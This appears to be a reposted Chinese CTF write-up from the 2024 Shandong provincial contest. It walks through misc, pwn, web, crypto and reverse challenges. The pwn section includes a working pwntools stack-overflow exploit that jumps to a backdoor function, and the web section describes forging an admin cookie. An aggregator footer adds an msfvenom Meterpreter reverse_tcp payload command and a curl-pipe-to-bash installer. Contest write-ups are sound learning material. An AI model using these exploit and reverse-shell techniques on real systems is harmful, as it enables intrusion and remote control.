24山东省赛wp

news/2025/3/10 5:49:26/文章来源:https://www.cnblogs.com/r0xy/p/18514792

misc

ezpic

在这个通道可以看到二维码

image-20241029233657525

扫一下能看到前半flag

image-20241029233727340

010里看到后半flag

image-20241029233802308

简单编码

img

根据提示有,我们可以找到rot系列的rot13和rot47,尝试一下就有flag了

image-20241029234058150

pwn

epwn

这回真是ezpwn了(

检查保护

image-20241030000118904

IDA找到漏洞函数gets和偏移量以及后门函数

image-20241029235443095

image-20241029235451173

于是可以快乐的写exp了

from pwn import *context(arch="amd64",os="linux",log_level="debug")
filename="./ezpwn"p=process(filename)
elf=ELF(filename)
flag_addr=0x400547
padding=40
payload=padding*b'a'+p64(0x400416)+p64(flag_addr)
p.sendline(payload)
p.interactive()

这里被栈对齐绊了一下,一开始怎么弄都不对,后来忘了可能是64位没有栈对齐的缘故,用ROPgadget找了个ret就好了

image-20241030001100680

web

签到题(忘了叫什么名字了)

比赛的时候没有及时截图,但是截了一张纪念我第一次做出来web的纪念图.

Snipaste_2024-10-27_14-10-27

我的大体流程是先玩了一下游戏,然后弹窗提示我要去访问一个php文件,于是我就去访问了一下,那个页面大概是说要我是admin才可以

一开始我尝试在url里用?传参(?user=admin),但是不对,后来我就想着用bp看看,抓了一下包,发现响应包的cooki里有个user,联想到提示的admin,我就在输入包里加了个cooki:admin.相应包里就出来flag了

crypto

古典之美

给了串密文yzabliviiszwve{blbekmnehedtmltfxrhsxhn}

题目提示是:凯撒?好像又不是凯撒(大概是这样)

于是我就先拿凯撒变成xxxx{xxxxx}的形式(这个应该是巧合了,我不清楚cyberchef里的凯撒是凯撒盒子加密,一般来说的凯撒应该都是rot系列的)

image-20241030001748651

然后又想到是不是可以rot一下看看,在不破坏{}的情况下,只有rot13系列可以,因为rot47会对所有可见字符在ASCII码上rot

于是得到flag

image-20241030002255822

reverse

exchange

Snipaste_2024-10-27_16-19-49

没壳,进入IDA看看先

image-20241030002515563

这个程序就是去检验输入的v9对不对,只不过v9的检验顺序是和v7挂钩的,而不是顺序的检测,根据这个我们就可以写出来脚本了

#include <iostream>
#include <bits/stdc++.h>
using namespace std;int main()
{int v7[38];v7[0] = 0;v7[1] = 1;v7[2] = 2;v7[3] = 3;v7[4] = 4;v7[5] = 13;v7[6] = 28;v7[7] = 5;v7[8] = 20;v7[9] = 29;v7[10] = 7;v7[11] = 26;v7[12] = 34;v7[13] = 18;v7[14] = 14;v7[15] = 8;v7[16] = 35;v7[17] = 24;v7[18] = 19;v7[19] = 12;v7[20] = 23;v7[21] = 15;v7[22] = 10;v7[23] = 36;v7[24] = 31;v7[25] = 6;v7[26] = 27;v7[27] = 17;v7[28] = 25;v7[29] = 32;v7[30] = 22;v7[31] = 11;v7[32] = 30;v7[33] = 21;v7[34] = 33;v7[35] = 9;v7[36] = 16;v7[37] = 37;char v8[38];v8[0] = 'f';v8[1] = 'l';v8[2] = 'a';v8[3] = 'g';v8[4] = '{';v8[5] = '4';v8[6] = '7';v8[7] = 'e';v8[8] = 'b';v8[9] = 'f';v8[10] = '0';v8[11] = '0';v8[12] = '8';v8[13] = '9';v8[14] = '9';v8[15] = 'a';v8[16] = '3';v8[17] = '6';v8[18] = 'a';v8[19] = '9';v8[20] = '5';v8[21] = 'b';v8[22] = 'c';v8[23] = 'e';v8[24] = '0';v8[25] = '1';v8[26] = '5';v8[27] = '5';v8[28] = 'e';v8[29] = 'f';v8[30] = 'e';v8[31] = '3';v8[32] = '2';v8[33] = 'b';v8[34] = '8';v8[35] = 'd';v8[36] = 'a';v8[37] = '}';char str[40];for(int i=0;i<38;i++){str[v7[i]]=v8[i];}cout<<str;
}

image-20241030002757778

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/823948.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Animal Controller文档——General

General 在General选项卡中,你会找到可以修改的最常用参数(AC)。Parameters Player如果设置为true,该Animal将是你的主角。 这将使用单例模式,并设置静态值:Animal.isPlayer.Value = true;。这样,Respawn System和CheckPoints将知道在Animal死亡时应该重生哪个主Animal(…

VUEDjango开发-1-环境搭建

一、使用pyenv,安装python,创建虚拟环境 pyenv是管理python版本的神器,官方链接:github.com/pyenv/pyenv,在macOS、Linux、Windows上均可以安装使用。 使用自动脚本一键安装 curl https://pyenv.run | bash配置SHELL环境 对于Zsh,运行如下命令,把pyenv命令安装到 ~/.zsh…

总线协议系列——USART协议初探

前言 概述 USART全名Universal Synchronous/Asynchronous Receiver/Transmitter,也即通用同步/异步串行接收/发送器。是一种异步全双工点对点总线架构,其总共需要TX传输线、RX接收线和GND共地线。如果两个USART硬件没有自主供电VCC,还需要VCC线 电路特性 USART总线采用推挽输…

Meterpreter生成被控端并进行远程控制

Meterpreter生成被控端并进行远程控制 Meterpreter简介 Meterpreter是kali中自带的用于渗透测试和漏洞利用的工具,它的本质上是一种payload, 允许使用者使用命令行执行命令的生成及执行 生成木马 msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=本机的ip lport=5000…

13. 分组数据

1. 数据分组 分组允许把数据分为多个逻辑组,以便能对每个组进行聚集计算 2. 创建分组 分组是在SELECT语句的GROUP BY子句中建立的。 比如: select vend_id, count(*) as num_prods from products group by vend_id;输出如下:上面的SELECT语句指定了两个列,vend_id包含产品供…

什么叫做网络编程

网络编程是一种编程实践,主要关注在网络环境中进行数据交换的应用程序的开发,包括了如何使用和理解各种协议、数据传输方式和网络架构等内容,以在不同计算机或系统间实现有效的信息交换。套接字是网络编程的基础,是网络上运行的程序之间进行数据交换的一种方式。什么叫做网…

Linux进程调度器-CPU负载

1. 概述 CPU负载(cpu load)指的是某个时间点进程对系统产生的压力。来张图来类比下(参考Understanding Linux CPU Load)CPU的运行能力,就如大桥的通行能力,分别有满负荷,非满负荷,超负荷等状态,这几种状态对应不同的cpu load值; 单CPU满负荷运行时cpu_load为1,当多个…

Paimon lookup store 实现

Lookup Store 主要用于 Paimon 中的 Lookup Compaction 以及 Lookup join 的场景. 会将远程的列存文件在本地转化为 KV 查找的格式. Hash https://github.com/linkedin/PalDB Sort https://github.com/dain/leveldb https://github.com/apache/paimon/pull/3770整体文件结构:相…

研究生如何利用 ChatGPT 帮助开展日常科研工作

研究生可以利用 ChatGPT 帮助开展日常科研工作:1. 文献综述与资料查找;2. 论文写作与润色;3. 问题解答与研究思路拓展;4. 实验设计与数据分析;5. 科研计划和进度管理;6. 学术交流和论文审阅。研究生常常需要面对海量文献,ChatGPT 可以成为文献综述的得力助手。1. 文献综…

13.Java的IO流

文件 概念文件:保存数据的地方。 文件流:文件在程序中是以流的形式来操作的。 流:数据在数据源(文件)和程序(内存)之间经历的路径。输入流:数据从数据源(文件)到程序(内存)的路径。 输出流:数据从程序(内存)到数据源(文件)的路径。常用操作构造方法方法 说明F…

论文词汇积累-铁路专业术语如车务段等(在进行小论文翻译的过程中遇到的问题,搜集整理一下)

一、铁路专用英语 专业词汇中英对照翻译 来源:https://blog.csdn.net/weixin_44304362/article/details/108827567 铁路工程词汇 线路工程 railway line engineering 铁路勘测 ;铁道勘测 railway reconnaissance 铁路选线 ;铁道选线 railway route selection;railway location…

考研打卡(2)

开局(2) 开始时间 2024-10-29 19:21:57 结束时间 2024-10-29 23:32:52呜呜,昨天被老师骂了数据结构能说明快速排序是不稳定的排序方法的一组关键字序列是____(暨南大学2011) A (10,20,30,40,50) B (50,40,30,20,10) C (20,20,30,10,40) D (20,40,30,30,10)C (20,…